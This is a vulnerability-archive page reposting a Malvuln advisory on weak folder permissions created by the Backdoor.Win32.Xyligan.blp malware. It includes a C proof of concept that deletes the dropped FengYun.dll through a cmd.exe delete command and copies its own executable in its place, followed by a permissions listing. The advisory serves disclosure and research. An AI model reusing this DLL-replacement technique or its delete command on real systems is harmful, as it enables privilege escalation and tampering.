exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Backdoor.Win32.Xyligan.blp MVID-2021-0065 Insecure Permissions

Backdoor.Win32.Xyligan.blp MVID-2021-0065 Insecure Permissions
Posted Feb 2, 2021
Authored by malvuln | Site malvuln.com

Backdoor.Win32.Xyligan.blp malware suffers from an insecure permissions vulnerability.

tags | exploit
systems | windows
SHA-256 | 3bc8f6b7a62322c2548b97c69b1660451eaae9bb16eb9f724efbdf658ad35c69

Backdoor.Win32.Xyligan.blp MVID-2021-0065 Insecure Permissions

Change Mirror Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/6b9afcad282516173c0ab8a6eb91e8b4.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Xyligan.blp
Vulnerability: Insecure Permissions EoP
Description: Xyligan.blp creates an insecure dir named "Temp" under c:\ drive and drops DLL "FengYun.dll into it". The C:\Temp is granted change (C) permissions to the authenticated users group allowing any authenticated user to change the DLL to one of their own executables.
Type: PE32
MD5: 6b9afcad282516173c0ab8a6eb91e8b4.exe
Vuln ID: MVID-2021-0065
Dropped files: FengYun.dll
Disclosure: 02/01/2021

Exploit/PoC:
#include "stdio.h"
#include "windows.h"
#define TARGET "C:\\Temp\\FengYun.dll"
#define TMP "C:\\Temp\\2.exe"
#define DISABLED_TARGET "C:\\Temp\\pwn.tmp"

/* Backdoor.Win32.Xyligan.blp.6b9afcad282516173c0ab8a6eb91e8b4.exe */
/* Insecure Permissions EoP */
/* By Malvuln */

BOOL PWNED=FALSE;

BOOL FileExists(LPCTSTR szPath){
DWORD dwAttrib = GetFileAttributes(szPath);
return (dwAttrib != INVALID_FILE_ATTRIBUTES && !(dwAttrib & FILE_ATTRIBUTE_DIRECTORY));
}

void main(void){

if(!FileExists(DISABLED_TARGET)){
WinExec("cmd.exe /c del C:\\Temp\\FengYun.dll", 0);
Sleep(1000);
CopyFile(TARGET, TMP, FALSE);
Sleep(1000);
CopyFile(TMP, DISABLED_TARGET, FALSE);
printf("[+] Backdoor.Win32.Xyligan.blp EoP PoC\n");
Sleep(1000);
printf("[+] Deleted FengYun.dll ...\n");
Sleep(300);
}else{
PWNED=TRUE;
}

if(!PWNED){
char fname[MAX_PATH];
char newLoc[]=TARGET;
DWORD size = GetModuleFileNameA(NULL, fname, MAX_PATH);
if (size){
printf("[+] Copying exploit to vuln dir...\n");
Sleep(1000);
CopyFile(fname, TARGET, FALSE);
printf("[+] Done!\n");
exit(0);
}
}else{
if(FileExists(TMP)){
remove(TMP);
}
printf("[+] Backdoor.Win32.Xyligan.blp PWNED!\n");
printf("[+] MD5: 6b9afcad282516173c0ab8a6eb91e8b4\n");
printf("[+] By Malvuln\n");
system("pause");
}
}


C:\>cacls \Temp
C:\Temp BUILTIN\Administrators:(OI)(CI)(ID)F
NT AUTHORITY\SYSTEM:(OI)(CI)(ID)F
BUILTIN\Users:(OI)(CI)(ID)R
NT AUTHORITY\Authenticated Users:(ID)C
NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(ID)C


Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close